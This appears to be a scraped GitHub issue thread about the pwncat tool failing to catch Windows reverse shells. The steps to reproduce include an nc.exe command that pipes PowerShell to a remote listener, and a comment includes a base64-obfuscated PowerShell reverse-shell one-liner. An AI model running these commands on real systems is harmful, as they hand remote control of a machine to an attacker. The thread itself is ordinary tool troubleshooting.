question-mark
Stuck on an issue?

Lightrun Answers was designed to reduce the constant googling that comes with debugging 3rd party libraries. It collects links to all the places you might be looking at while hunting down a tough bug.

And, if you’re still stuck at the end, we’re happy to hop on a call to see how we can help out.

Unable to establish reverse shell on windows

See original GitHub issue

Bug Description

I am unsure if this is a bug or it is not supported by pwncat, so I am posting this to clarify and check. I am unable to establish a reverse shell from any windows machine with nc.exe.

pwncat version

Docker pwncat build from git repo

0.4.3

Target System (aka “victim”)

Most windows machine that I have tried. In my own VM that I tested, it was windows 10 Educational version 1903 build 18362.239

Steps to Reproduce

Steps to reproduce the behavior:

  1. pwncat -lp 4444 -m windows (attacker machine)
  2. nc.exe IP PORT -e powershell.exe (windows victim)

Expected Behavior

pwncat should be able to establish reverse shell

Screenshots

image

Issue Analytics

  • State:open
  • Created 2 years ago
  • Comments:13 (8 by maintainers)

github_iconTop GitHub Comments

2reactions
3m0W33Dcommented, Jul 25, 2021

Hi I have tested with a normal netcat shell E.g nc -lvnp 4444 . And this command nc.exe IP PORT -e powershell.exe does connect back to me with a reverse shell.

However, pwncat does not connect and still errors out.

Also regarding Windows Defender service, I have tried enabling and disabling windows in both cases pwncat still doesnt want to establish reverse shell.

1reaction
itasahobbycommented, Aug 16, 2021

Not sure if it’s the same issue but got the same error when trying to connect to a windows box. Here is what I’ve used: Listener:

pwncat -m windows -l -p 9000

Reverse (powershell base64 encoded from this page):

powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4AMgA0ADkAIgAsADkAMAAwADAAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Read more comments on GitHub >

github_iconTop Results From Across the Web

How to Create Undetectable Windows Reverse Shell using ...
How to Create Undetectable Windows Reverse Shell using HoaxShell to bypass Windows Defender ... Your browser can't play this video.
Read more >
Windows 64-bit Reverse TCP Shell not working
If you are trying to get a reverse shell is because you have some kind of RCE. If you have elevated privileges then...
Read more >
Payloads can't establish reverse shell/meterpreter back to ...
I was able to create payloads as exe files and run on my test windows machine. On the msfconsole of actacking machine will...
Read more >
Get Reverse-shell via Windows one-liner - Hacking Articles
Generally, while abusing HTTP services or other programs, we get RCE vulnerability. This loophole allows you to remotely execute any system ...
Read more >
Can't connect to reverse shell – connection waits forever
You are asking for reverse shell, but Your code doesn't have any shell involved in it. Take a look at reverse shell example...
Read more >

github_iconTop Related Medium Post

No results found

github_iconTop Related StackOverflow Question

No results found

github_iconTroubleshoot Live Code

Lightrun enables developers to add logs, metrics and snapshots to live code - no restarts or redeploys required.
Start Free

github_iconTop Related Reddit Thread

No results found

github_iconTop Related Hackernoon Post

No results found

github_iconTop Related Tweet

No results found

github_iconTop Related Dev.to Post

No results found

github_iconTop Related Hashnode Post

No results found